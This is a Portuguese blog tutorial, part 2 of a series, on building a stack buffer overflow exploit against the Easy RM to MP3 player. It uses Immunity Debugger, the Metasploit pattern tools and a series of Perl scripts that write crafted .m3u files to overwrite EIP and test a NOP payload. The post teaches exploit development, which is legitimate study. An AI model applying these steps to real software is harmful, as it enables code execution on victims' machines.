16 de maio de 2011

Escrevendo um exploit para Stack Overflow - parte 2

O debugger

Para ver o estado da pilha (e valor dos registradores tal como o ponteiro de instrução, ponteiro da pilha, e etc), precisamos vincular um debugger à aplicação, assim podemos ver o que acontece no momento em que a aplicação é executada (e especialmente quando termina).

Há muitos debugger disponíveis para tal propósito. Os dois debugger que uso mais frequentemente são OllyDBG e Immunity’s Debugger .

Vamos utilizar o Immunity para efeito prático.

Abra o Immunity debugger, vá ao menu “Options” - “Just in-time debugging” e clique em “Make Immunity Debugger just in-time debugger”.

E vamos em frente...

Inicie o Easy RM to MP3, e então abra o arquivo crash.m3u novamente. A aplicação vai travar de novo. Se surgir algum popup, clique no botão “debug” e o debugger será iniciado:


A tela acima foi cortada para melhor visualização, mas ao executar esse processo, poderá ver que no canto superior esquerdo, que temos a visualização da CPU, que mostra as instruções em assembly e seus opcodes (a janela estará vazia porque o EIP estará apontando para 4141414141, que é um endereço inválido). No canto superior direito, visível na figura acima, podemos ver os registradores. No canto inferior esquerdo (não visível na figura acima), poderemos ver o dump da memória, nesse caso do endereço 00446000. No canto inferior direito, podemos ver o conteúdo da pilha (o conteúdo da memória no local onde o ESP aponta).

Frente ao que vemos, parece que parte de nosso arquivo m3u foi lido e armazenado no buffer e causo o estouro do mesmo. Fomos capazes de estourar o buffer e escrever no ponteiro de instrução. Sendo assim, podemos controlar o valor do EIP.

Como nosso arquivo contém apenas A's, não sabemos exatamente quão grande nosso buffer precisa ser para escrever exatamente no EIP. Em outras palavras, se quisermos ser específicos na sobreescrição do EIP (e assim podermos preenchê-lo e fazê-lo pular para nosso código malicioso), precisamos saber a posição exata em nosso buffer/payload onde sobrescreveremos o endereço de retorno (que se tornará o EIP quando a função retornar). Esta posição é frequentemente referida como o “offset”.


Determinando o tamanho do buffer para escrever exatamente no EIP

Sabemos que o EIP está localizado em algum lugar entre 20000 e 30000 bytes contados do início do buffer. Poderíamos sobrescrever todo o espaço de memória entre 20000 e 30000 bytes com o endereço que queremos sobrescrever no EIP. Isso até pode funcionar, mas será muito mais interessante se pudermos encontrar a localização exata para sobrescrevermos. Para determinar o offset exato do EIP em nosso buffer, precisamos de um pouco mais de trabalho.

Primeiro, vamos tentar apontar a localização alterando um pouco o nosso script perl:

my $file= "crash25000.m3u";
my $junk= "\x41" x 25000;
my $junk2= "\x42" x 5000;
open($FILE,">$file");

print $FILE $junk.$junk2;

close($FILE);
print
"Arquivo m3u criado com sucesso\n";

Vamos cortar algumas coisas. Vamos criar um arquivo contendo 25000 A's e outro com 5000 B's. Se o EIP contiver 41414141(AAAA), o EIP está entre 20000 e 25000, e se o EIP contiver 42424242 (BBBB), o EIP se encontrará entre 25000 e 30000.

Crie o arquivo e abra o crash25000.m3u no Easy RM to MP3.

Ok, então o EIP contém 42424242 (BBBB), então sabemos que o EIP tem um offset entre 25000 e 30000. O que também significa que podemos ver os B's restantes na memória para onde o ESP aponta (já que o EIP foi sobrescrito antes do final dos 30000 caracteres do buffer).


Dump do ESP:

Isso é uma boa notícia. Conseguimos sobrescrever o EIP com BBBB e também podemos ver nosso buffer no ESP.

Antes de podermos começar a construir do script, precisamos encontrar o local exato em nosso buffer que sobrescreve o EIP.

Para encontrarmos o local exato, usaremos o Metasploit.

Metasploit possui uma boa ferramenta que nos ajuda a calcular o offset. Ele gerará uma string que contém um padrão único. Usando esse padrão (e o valor do EIP após utilizar o padrão em nosso arquivo .m3u malicioso), podemos ver quão grande deve ser o buffer para que escrevamos exatamente dentro do EIP.

Abra o diretório tools no diretório do metasploit3 (estou usando uma versão do MSF3 em Linux). Você deverá encontrar uma ferramenta chamada pattern_create.rb. Crie um conjunto de 5000 caracteres e grave-o em um arquivo.


Edite o script perl e substitua o conteúdo de $junk2 pelos 5000 caracteres.

my $file= "crash25000.m3u";
my $junk= "\x41" x 25000;
my $junk2= "coloque os 5000 caracteres aqui";
open($FILE,">$file");
print $FILE $junk.$junk2;

close($FILE);

print
"Arquivo m3u criado com sucesso\n";

Crie o arquivo .m3u. Abra esse arquivo no Easy RM to MP3, aguarde até que a aplicação morra novamente, e preste atenção ao conteúdo do EIP.

Nesse momento, EIP contém 0x6A42376A (perceba que sobrescrevemos o EIP com 6A 37 42 6A – o valor de EIP como visto na figura, ao contrário – que são as strings = j7Bj).

Vamos utilizar uma segunda ferramenta do metasploit para calcular o tamanho exato do buffer antes de escrever no EIP. Entre com o valor do EIP (baseado no conjunto de caracteres) e o tamanho do buffer:

1072. Que é o tamanho do buffer necessário para sobrescrever o EIP (é bem provável que o seu valor seja diferente do meu). Então podemos criar um arquivo com 25000+1072 A's, e então adicionar 4 B's (42 42 42 42 em hexadecimal), de forma qu o EIP contenha 42 42 42 42. Também sabemos que o ESP aponta para dados em nosso buffer, então adicionaremos alguns C's após sobrescrever o EIP.

Vamos tentar, modificando o script perl para criar um novo arquivo .m3u.

my $file= "eipcrash.m3u";
my $junk= "\x41" x 26072;
my $eip= "BBBB";
my $esp= "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$esp;
close($FILE);
print "Arquivo m3u criado com sucesso\n";

Crie o arquivo eipcrash.m3u, abra-o no Easy RM to MP3, observe o travamento e o conteúdo do EIP e da memória do ESP:

Excelente. EIP contém BBBB, que é exatamente o que queremos. Agora controlamos o EIP. No topo do mesmo, ESP aponta para o nosso buffer (C's).

Obs.: o offset mostrado aqui é resultado da análise em meu sistema, que está rodando em uma máquina virtual, inclusive. Em seu sistema, certamente você terá um endereço de offset diferente. Você precisará adaptar o script perl de acordo com o offset que obteve em seu sistema. O buffer que é vulnerável ao overflow inclui o caminho completo ao arquivo m3u. Assim, se o caminho para o arquivo for maior ou menor que o meu, o offset será diferente.

Nosso buffer parecerá com isso:

Buffer

EBP

EIP

ESP aponta para aqui

A (x 26090)

AAAA

BBBB

CCCCCCCCCCCCCCCCCCCCCCCC

414141414141…41

41414141

42424242


26072 bytes

4 bytes

4 bytes

1000 bytes ?


Encontrando espaço na memória para armazenar o shellcode

Controlamos o EIP. Dessa forma, podemos apontar o EIP para qualquer lugar que contenha nosso código (shellcode). Mas onde é esse lugar, como podemos colocar nosso shellcode nesse local e como podemos fazer com que o EIP desloque-se para essa posição?

Para travarmos a aplicação, escrevemos 26072 A's na memória, escrevemos um novo valor no campo salvo do EIP e escrevemos vários C's.

Quando a aplicação trava, dê uma olhada nos registradores e no dump dos mesmos (esp, eax, ebx, ebo, …). Se for capaz de ver seu buffer (seja A ou C) em um dos registradores, então será capaz de alterar esses caracteres com seu shellcode e pular para esse local. Em nosso exemplo, podemos ver que ESP parece apontar para os nossos C's, então, poderíamos colocar nosso shellcode no lugar desses C's e dizer para o EIP ir para o endereço do ESP.

Independente de podermos ver os C's, não podemos ter certeza de que o primeiro C (no endereço 000FF730, para onde o ESP aponta), é de fato o primeiro C que colocamos em nosso buffer.

Mudaremos o script perl e colocaremos um conjunto de caracteres (coloquei 144 caracteres, mas você pode colocar mais ou menos) ao invés dos C's:

my $file= "test1.m3u";
my $junk= "A" x 26072;
my $eip = "BBBB";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .

"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK"
.

"BABCDEFGHIJKCABCDEFGHIJK"
;

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;

close($FILE);

print
"Arquivo m3u criado com sucesso\n";

Crie o arquivo, abra-o, deixe a aplicação morrer e veja o dump de memória do ESP:


Podemos ver duas coisas interessantes aqui:

  • O ESP começa no 5º caracter de nosso conjunto, a não no primeiro caracter.

  • Após o conjunto de caracteres, vemos os “A's”. Estes A's parecem pertencer à primeira parte do buffer (26072 A's), então podemos colocar nosso shellcode na primeira parte do buffer.

Mas não vamos fazer isso agora. Vamos primeiro adicionar 4 caracteres no início do conjunto de caracteres e fazer o teste novamente. Se tudo correr bem, o ESP deve apontar diretamente para o início de nosso conjunto:

my $file= "test2.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK"
.

"7ABCDEFGHIJK8ABCDEFGHIJK"
.

"9ABCDEFGHIJKAABCDEFGHIJK"
.

"BABCDEFGHIJKCABCDEFGHIJK"
;

open($FILE,">$file");

print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);
print
"Arquivo m3u criado com sucesso\n";

Deixe a aplicação morrer e olhe o ESP novamente:


Bem melhor!

Agora temos:

  • controle sobre o EIP

  • uma área onde podemos escrever nosso código (se fizer mais teste com conjuntos maiores de caracteres, poderá ver que tem mais espaço do que 144 caracteres para escrever seu código)

  • um registrador que aponta diretamente para nosso código, no endereço 0x000FF730

Agora precisamos:

  • construir um shellcode

  • dizer para o EIP pular para o endereço de início do shellcode. Podemos fazer isso sobrescrevendo o EIP com 0x000FF730.

Vamos ver...

Construiremos um pequeno teste: primeiro 26072 A's, então sobrescrever o EIP com 000FF730, então colocar 25 NOP's, então um break e mais NOP's.

Se tudo correr bem, o EIP deve pular para 000FF730, que contém NOP's. O código seguir até o break.

my $file= "teste3.m3u";
my $junk= "A" x 26072;
my $eip = pack('V',0x000ff730);

my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;

close($FILE);
print "Arquivo m3u criado com sucesso\n";

A aplicação morrerá, mas esperamos um break ao invés de um “access violation”.

Quando olharmos o EIP, ele aponta para 000FF730, e executa o ESP.

Quando olhamos o dump do ESP, não vemos o que esperávamos.



Então, pular diretamente para um endereço de memória pode não ser uma boa solução.

(000FF730 contém um null byte, que é um finalizador de strings... então os A's que está vendo, estão vindo da primeira parte do buffer... Nós não alcançamos o ponto onde começamos a escrever nossos dados após sobrescrever o EIP... Além disso, utilizar um endereço de memória para pular dentro dele faria o exploit não ser confiável. E com isso, este endereço de memória pode ser diferente em outras versões de S.O., linguagem e etc).

Resumindo: não podemos sobrescrever o EIP apenas com um endereço direto de memória tal como 000FF730. Não é uma boa ideia porque pode conter um byte nulo. Temos que usar outra técnica para atingir o mesmo objetivo: fazer com que a aplicação pule para nosso código. Idealmente, seremos capazes de referenciar um registrador (ou um offset de um registrador), ESP no nosso caso, e encontrar uma função que pulará para tal registrador. Então tentaremos sobrescrever o EIP com o endereço daquela função.

Nenhum comentário:

Postar um comentário